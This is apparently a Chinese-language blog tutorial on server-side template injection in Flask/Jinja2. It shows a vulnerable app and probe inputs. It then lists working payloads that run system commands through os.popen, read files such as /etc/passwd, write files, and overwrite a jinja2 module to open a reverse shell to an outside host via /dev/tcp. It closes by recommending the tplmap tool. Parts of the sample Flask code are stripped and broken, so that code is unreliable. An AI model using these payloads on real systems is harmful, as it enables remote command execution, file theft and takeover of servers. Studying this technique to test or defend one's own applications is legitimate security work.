先来一波flask ssti漏洞的代码。
#python3
#Flask version:0.12.2
#Jinja2: 2.10
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@("/")
def index():
name = ('name', 'guest')
t = Template("Hello " + name)
return ()
if __name__ == "__main__":
();
测试如下:
ip?name=guest.{{1*1}}
ip?name=guest.{{1+1}}
emmm,url编码一波
ip?name={{'aaa'.upper()}}
由此就有大神找出了任意命令执行的方法了。
在python里要执行系统命令需要import os模块。
想要在模板中直接调用内置模块 os,即需要在模板环境中对其注册
需要在上面的代码里加一句:
['os'] =os
如果没有加这一句,直接使用os中的方法会报错。
尝试了一波,没成功。附上大神的payload
python3
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
python2
#注入变量执行命令详见 /articles/web/
#读文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
#写文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
也可以通过写jinja2的执行命令; jinja2的模板会load这个module,而且这个 import了os模块, 所以只要能写这个文件,就可以执行任意命令:
#假设在/usr/lib/python2.7/dist-packages/jinja2/, 弹一个shell
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/').write("\('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')") }}
新手最好还是用tplmap
建议使用以下github链接从github存储库克隆该工具来安装Tplmap
git clone /epinna/tplmap
下载完成后切换到tplmap目录下,运行
./ -u <url>
执行命令后,会测试目标url查找代码注入机会
接下来,就不多说了
参考:
/articles/web/
/articles/web/
/articles/web/
http:///technology/